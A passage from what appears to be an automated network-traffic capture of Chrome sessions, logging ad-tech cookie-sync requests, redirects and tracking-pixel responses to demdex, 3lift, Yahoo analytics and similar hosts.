2024-12-10 14:10:55 UTC	733	IN	HTTP/1.1 302 Found Date: Tue, 10 Dec 2024 14:10:55 GMT Content-Length: 0 Connection: close Location: /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=163177591737373899600; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Mon, 10 Mar 2025 14:10:55 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=163177591737373899600; Max-Age=7776000; Expires=Mon, 10 Mar 2025 14:10:55 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50093	76.223.111.18	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:56 UTC	777	OUT	GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: dmpsync.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=163177591737373899600; tluid=163177591737373899600
2024-12-10 14:10:56 UTC	686	IN	HTTP/1.1 302 Found Date: Tue, 10 Dec 2024 14:10:56 GMT Content-Length: 0 Connection: close Location: https://dpm.demdex.net/ibs:dpid=72352&dpuuid=163177591737373899600&gdpr=0&gdpr_consent= Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=163177591737373899600; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Mon, 10 Mar 2025 14:10:56 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=163177591737373899600; Max-Age=7776000; Expires=Mon, 10 Mar 2025 14:10:56 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50095	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:56 UTC	1435	OUT	GET /ibs:dpid=57282&dpuuid=3F3D32EF01F29D83EA32F859490A1B78 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:56 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:56 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: VGbpygSeT4U= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-0dec4caaa.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:56 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:56 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:56 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50097	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:56 UTC	1439	OUT	GET /ibs:dpid=49276&dpuuid=ac8a69cd-6318-4120-90dc-83a942a0e3de HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:56 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:56 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 06WV/LdGSoo= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0ce637afc.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:56 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:56 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:56 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50098	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:56 UTC	1201	OUT	GET /ibs:dpid=3047&dpuuid=6188F94A79EC0F&gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:56 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:56 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: GZJfCLI4Rzg= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0b8e7a47b.edge-irl1.demdex.com 6 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:56 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:56 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:56 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50099	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:56 UTC	1395	OUT	GET /ibs:dpid=22054 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:57 UTC	905	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:57 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: z7WShVuaQu4= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Error: 300 X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-0b38f8fbe.edge-irl1.demdex.com 1 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:57 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:57 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:57 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50096	188.125.88.204	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:57 UTC	684	OUT	GET /ups/58782/cms?partner_id=ADOBE&_hosted_id=46356403213087719583427206263392261374&gdpr=0&gdpr_consent= HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:58 UTC	731	IN	HTTP/1.1 302 Found Date: Tue, 10 Dec 2024 14:10:57 GMT Content-Type: text/html Content-Length: 0 Strict-Transport-Security: max-age=31536000 P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://ups.analytics.yahoo.com/ups/58782/cms?partner_id=ADOBE&_hosted_id=46356403213087719583427206263392261374&gdpr=0&gdpr_consent=&uid=46356403213087719583427206263392261374&verify=true Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Server: ATS Set-Cookie: A3=d=AQABBPFLWGcCEMX1aeWtOi4AtnX1XwkzrHEFEgEBAQGdWWdiZ9xH0iMA_eMAAA&S=AQAAAo3I5VUb0KMyhshn0L6ci3k; Expires=Wed, 10 Dec 2025 20:10:57 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50101	35.85.18.98	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:57 UTC	587	OUT	GET /dv/sync?tid=6 HTTP/1.1 Host: ag.innovid.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:57 UTC	388	IN	HTTP/1.1 302 Found Date: Tue, 10 Dec 2024 14:10:57 GMT Content-Length: 0 Connection: close Location: https://dpm.demdex.net/ibs:dpid=80742&dpuuid=52f3b213-3dca-4813-811d-c5602f354dc7 Set-Cookie: uuid=52f3b213-3dca-4813-811d-c5602f354dc7-20241210 09:10:57; Max-Age=7776000; Expires=Mon, 10 Mar 2025 14:10:57 GMT; SameSite=None; Path=/; Domain=.innovid.com; Secure Request-Time: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50104	44.216.225.197	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:57 UTC	591	OUT	GET /CookieSyncAdobe HTTP/1.1 Host: rtb.adentifi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:57 UTC	128	IN	HTTP/1.1 204 No Content Date: Tue, 10 Dec 2024 14:10:57 GMT Content-Type: text/plain Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50115	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:59 UTC	1445	OUT	GET /ibs:dpid=72352&dpuuid=163177591737373899600&gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:59 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:59 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: ReB/XLKqRuE= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-01fd863e2.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:59 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:59 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:59 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50114	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:59 UTC	1423	OUT	GET /ibs:dpid=53196&dpuuid=Q7871262551912975290 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:59 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:59 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: vBVJ9SWWSVM= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-079032980.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:59 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:59 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:59 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50116	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:59 UTC	1199	OUT	GET /ibs:dpid=57282&dpuuid=3F3D32EF01F29D83EA32F859490A1B78 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:59 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:59 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 9HUVVS6TRy0= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0b8e7a47b.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:59 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:59 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:59 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50117	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
